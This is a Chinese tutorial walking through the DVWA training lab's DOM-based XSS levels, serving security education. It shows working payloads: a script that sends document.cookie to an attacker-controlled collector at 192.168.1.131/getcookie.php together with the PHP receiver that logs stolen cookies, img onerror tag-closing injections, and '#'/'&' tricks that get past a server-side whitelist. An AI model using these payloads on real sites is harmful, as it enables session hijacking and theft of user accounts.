DVWA-XSS (DOM) DOM型跨站脚本攻击
XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript
,也有Flash、VBscript,常见于盗取cookie
。
DOM型XSS,是利用DOM
树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>
标签进行脚本的执行
LOW
审计源码
没有任何过滤
点击提交后可以看到default
传参的内容为English
将English
改为<script>alert(document.cookie)</script>
成功弹出cookie
,利用成功
反弹cookie
真正的窃取cookie
不止这么简单,我们这里在Web
服务器中写一个接收cookie
并保存的文件
getcookie.php
<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>
然后使用javascript
获取cookie
值,并访问getcookie.php
,getcookie.php
会将cookie值保存到cookie.txt
中
首先测试访问getcookie.php
是否正常
http://192.168.1.131/getcookie.php?cookie=nihao
查看是否生成cookie.txt
正常执行
在default
传入
default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>
执行后查看cookie.txt
是否反弹成功
成功反弹
Meidum
审计源码
<?php
// 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default'];
// stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
传参中不能含有<script
,不过可以使用<img />
标签,带上属性onerror='alert(document.cookie)'
测试default=<img src=1 onerror=alert(document.cookie)>
并没有弹窗,使用检查查看default
的值传到了哪里
通过观察,传入的值在<option></option>
标签中,尝试将传入</option>
将标签闭合
default=</option><img src=1 onerror=alert(document.cookie)>
闭合后依然没有弹窗,再次检查查看default
值传入了哪里
还是没有闭合,值依然在value
中,尝试传入</select>
闭合更外一层的<select>
标签
default=</select><img src=1 onerror=alert(document.cookie)>
可以看到成功弹窗,检查查看是如何闭合的
Hihg
审计源码
<?php
// 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
}
?>
这里进行了一个白名单,只能是French、English、German、Spanish
,否则无法执行
这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript
,前面的等级也是
从这里可以看出,将lang
的值写入到页面中标签,value的值
所以,这里只要让后端检测不到即可
使用#
,就可以绕过后端的检测,GET并不会获取到#
号后面的内容,PHP认为#号后面注释的内容
测试default=English #<script>alert(/xss/)</script>
注意English
后面时候空格的,如果不输入空格,会被当做default的值传入后端
当然&
号也是可以的,&
会被后端认为是另一个传参,也不会接收
default=English&<script>alert(document.cookie)</script>
&号前面是没有空格的,传参是紧密相连的
Impossible
审计源码
这里写到不做任何处理,在前段处理
查看前段代码
这里多了一个括号,这个括号就能阻止XSS
了吗,我不相信
传入default=<script>alert(/xss/)</script>
测试
可以看到这里没有对传入的特殊字符进行url解码
,这样就过滤了<、/、#、&
等特殊字符
DVWA-XSS (DOM) DOM型跨站脚本攻击的更多相关文章
- DVWA之DOM XSS(DOM型跨站脚本攻击)
目录 Low Medium High Impossible Low 源代码: <?php # No protections, anything goes ?> 从源代码可以看出,这里low ...
- XSS CSS Cross SiteScript 跨站脚本攻击
XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893 XSS又称CSS,全称Cross S ...
- 渗透之路基础 -- 跨站脚本攻击XSS
目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
- WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...
- 跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...
- DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】
XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- XSS(跨站脚本攻击)的最全总结
从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...
- XSS(跨站脚本攻击)简单讲解
1.1 XSS简介 跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意 ...
随机推荐
- 配置RMAN(缩减版)
配置备份的默认类型:备份集或副本 要配置默认备份类型: 启动 RMAN 并连接到目标数据库和恢复目录(如果使用). 将备份集或映像副本配置为默认备份类型. 以下示例配置磁盘备份到副本和备份集的备份类型 ...
- Kubernetes--管理Pod对象的容器(2)
自定义运行的容器化应用 由Docker镜像启动容器时运行的应用程序在相应的Dockerfile中由ENTRYPOINT指令进行定义,传递给程序的参数则通过CMD指令指定,ENTRYPOINT指令不存在 ...
- TypeError: Cannot read property ‘$options‘ of undefined vue
vue弹框页面 <el-form :model="ruleForm" ref="ruleForm" label-width="100px&quo ...
- Android自动化测试
一.环境搭建 必备软件: Windows或MacOS系统的电脑 python pycharm Android SDK(需要配置环境变量,网上有教程) Appium客户端(需要配置Android SDK ...
- SQL之rand,round,floor,ceiling,cast小数处理函数
rand():取随机数,select rand() from T 结果:0.635811742495648 round():保留N位小数,四舍五入 select round(1.0446,N) flo ...
- OPENSUSE网速慢
无线网卡是Broadcom 4313,刚安装完opensuse,网速只有60Kb左右. 添加packman私有驱动后,网速才正常起来.
- opencv对鱼眼图像畸变矫正
import numpy as np ''' #T_cam_imu body_T_cam0: !!opencv-matrix rows: 4 cols: 4 dt: d data: [0.003489 ...
- 标记一下CF教育场的网址
(因为太难翻了,做到哪里标到哪,自用 Educational Codeforces Round 1 Educational Codeforces Round 2 Educational Codefor ...
- 论MVC架构设计及其应用
论MVC架构设计及其应用 张紫诺1 (1. 位石家庄铁道大学,河北 石家庄 050000) 摘要:随着信息化建设的发展,人们愈发需要考虑采用一种良好的架构实现快速构建企业应用程序的目标.而MVC架构正 ...
- 1、Java程序概述
1.什么是Java? Java是一个完整的平台,有一个庞大的库,其中包含了很多可重用的代码,以及一个提供诸如安全性.跨操作系统的可移植性以及自动垃圾收集等服务的执行环境. 2.Java白皮书的关键术语 ...